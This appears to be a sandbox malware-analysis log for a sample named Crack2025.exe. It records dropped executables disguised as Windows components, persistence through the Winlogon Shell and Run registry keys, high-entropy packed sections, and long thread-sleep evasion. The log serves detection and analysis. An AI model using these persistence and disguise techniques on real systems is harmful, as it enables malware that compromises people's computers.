Source: Crack2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Crack2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Crack2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Crack2025.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B5F640 push ecx; ret	0_2_00B5F653
Source: C:\Users\user\Desktop\Crack2025.exe	Code function: 0_2_00B5EB78 push eax; ret	0_2_00B5EB96
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 9_2_00007FF7C7A900BD pushad ; iretd	9_2_00007FF7C7A900C1
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 9_2_00007FF7C7A95368 push cs; ret	9_2_00007FF7C7A95379
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 9_2_00007FF7C7BF2E06 push ebx; ret	9_2_00007FF7C7BF2E09
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 9_2_00007FF7C7E95BC1 push esi; retf	9_2_00007FF7C7E95BC7
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 9_2_00007FF7C7E91595 push edx; ret	9_2_00007FF7C7E91596
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Code function: 14_2_00007FF7C7AA00BD pushad ; iretd	14_2_00007FF7C7AA00C1
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Code function: 14_2_00007FF7C7AA5368 push cs; ret	14_2_00007FF7C7AA5379
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 35_2_00007FF7C7AD59E1 push ds; retf	35_2_00007FF7C7AD5A0F
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 35_2_00007FF7C7AB00BD pushad ; iretd	35_2_00007FF7C7AB00C1
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 35_2_00007FF7C7AB5368 push cs; ret	35_2_00007FF7C7AB5379
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 35_2_00007FF7C7AC79C7 push ebp; ret	35_2_00007FF7C7AC79C8
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 35_2_00007FF7C7AC71AE push cs; iretd	35_2_00007FF7C7AC71AF
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 36_2_00007FF7C7AB00BD pushad ; iretd	36_2_00007FF7C7AB00C1
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Code function: 36_2_00007FF7C7AB5368 push cs; ret	36_2_00007FF7C7AB5379
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AA00BD pushad ; iretd	37_2_00007FF7C7AA00C1
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AA5368 push cs; ret	37_2_00007FF7C7AA5379
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AC59E1 push ds; retf	37_2_00007FF7C7AC5A0F
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AB79C7 push ebp; ret	37_2_00007FF7C7AB79C8
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 37_2_00007FF7C7AB71AE push cs; iretd	37_2_00007FF7C7AB71AF
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AB79C7 push ebp; ret	38_2_00007FF7C7AB79C8
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AB71AE push cs; iretd	38_2_00007FF7C7AB71AF
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AC59E1 push ds; retf	38_2_00007FF7C7AC5A0F
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AA00BD pushad ; iretd	38_2_00007FF7C7AA00C1
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Code function: 38_2_00007FF7C7AA5368 push cs; ret	38_2_00007FF7C7AA5379
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7AB59E1 push ds; retf	39_2_00007FF7C7AB5A0F
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7A900BD pushad ; iretd	39_2_00007FF7C7A900C1
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7A95368 push cs; ret	39_2_00007FF7C7A95379
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7AA79C7 push ebp; ret	39_2_00007FF7C7AA79C8
Source: C:\Users\Public\Pictures\Registry.exe	Code function: 39_2_00007FF7C7AA71AE push cs; iretd	39_2_00007FF7C7AA71AF

Source: ComComponentRuntimeMonitor.exe.0.dr	Static PE information: section name: .text entropy: 7.575623645429234
Source: Registry.exe.9.dr	Static PE information: section name: .text entropy: 7.575623645429234
Source: smartscreen.exe.9.dr	Static PE information: section name: .text entropy: 7.575623645429234
Source: aePhPQ5epIOPbGayHv.exe.9.dr	Static PE information: section name: .text entropy: 7.575623645429234
Source: ShellExperienceHost.exe.9.dr	Static PE information: section name: .text entropy: 7.575623645429234
Source: xP1x1VNeIAPjWsHHYbBFNFY.exe.9.dr	Static PE information: section name: .text entropy: 7.575623645429234

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\user\Desktop\ZgWXldfI.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\user\Desktop\AtYLDxzH.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\user\Desktop\kMRvrGzk.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\user\Desktop\tvkLaiES.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Crack2025.exe	File created: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\user\Desktop\SFAQXTUW.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\user\Desktop\KbrbnaEo.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\Public\Pictures\Registry.exe	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\Default\Desktop\ShellExperienceHost.exe	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\ProgramData\smartscreen.exe	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	File created: C:\Users\user\Desktop\biIGHMkD.log	Jump to dropped file

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run xP1x1VNeIAPjWsHHYbBFNFY	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ComComponentRuntimeMonitor	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ShellExperienceHost	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smartscreen	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run aePhPQ5epIOPbGayHv	Jump to behavior

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Memory allocated: A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Memory allocated: 1A710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Memory allocated: F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Memory allocated: 1AC30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Memory allocated: AA0000 memory reserve \| memory write watch
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Memory allocated: 1A560000 memory reserve \| memory write watch
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Memory allocated: 1770000 memory reserve \| memory write watch
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Memory allocated: 1B2B0000 memory reserve \| memory write watch
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Memory allocated: 2C80000 memory reserve \| memory write watch
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Memory allocated: 1AED0000 memory reserve \| memory write watch
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Memory allocated: 2830000 memory reserve \| memory write watch
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Memory allocated: 1AAE0000 memory reserve \| memory write watch
Source: C:\Users\Public\Pictures\Registry.exe	Memory allocated: 2C10000 memory reserve \| memory write watch
Source: C:\Users\Public\Pictures\Registry.exe	Memory allocated: 1ADC0000 memory reserve \| memory write watch
Source: C:\Users\Public\Pictures\Registry.exe	Memory allocated: 14A0000 memory reserve \| memory write watch
Source: C:\Users\Public\Pictures\Registry.exe	Memory allocated: 1AFE0000 memory reserve \| memory write watch

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 599872	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 599743	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 599523	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 599390	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 599239	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 597425	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Pictures\Registry.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Pictures\Registry.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZgWXldfI.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AtYLDxzH.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kMRvrGzk.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tvkLaiES.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SFAQXTUW.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KbrbnaEo.log	Jump to dropped file
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\biIGHMkD.log	Jump to dropped file

Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -599872s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -599743s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -599640s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -599523s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -599390s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -599239s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -99862s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -99459s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -99213s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -98638s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -98515s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -597546s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -597425s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 2788	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 9192	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 8408	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\ShellExperiences\xP1x1VNeIAPjWsHHYbBFNFY.exe TID: 8780	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe TID: 3148	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Crtsvc\aePhPQ5epIOPbGayHv.exe TID: 2484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 5292	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Crtsvc\ComComponentRuntimeMonitor.exe TID: 1388	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\Pictures\Registry.exe TID: 1136	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\Pictures\Registry.exe TID: 8348	Thread sleep time: -922337203685477s >= -30000s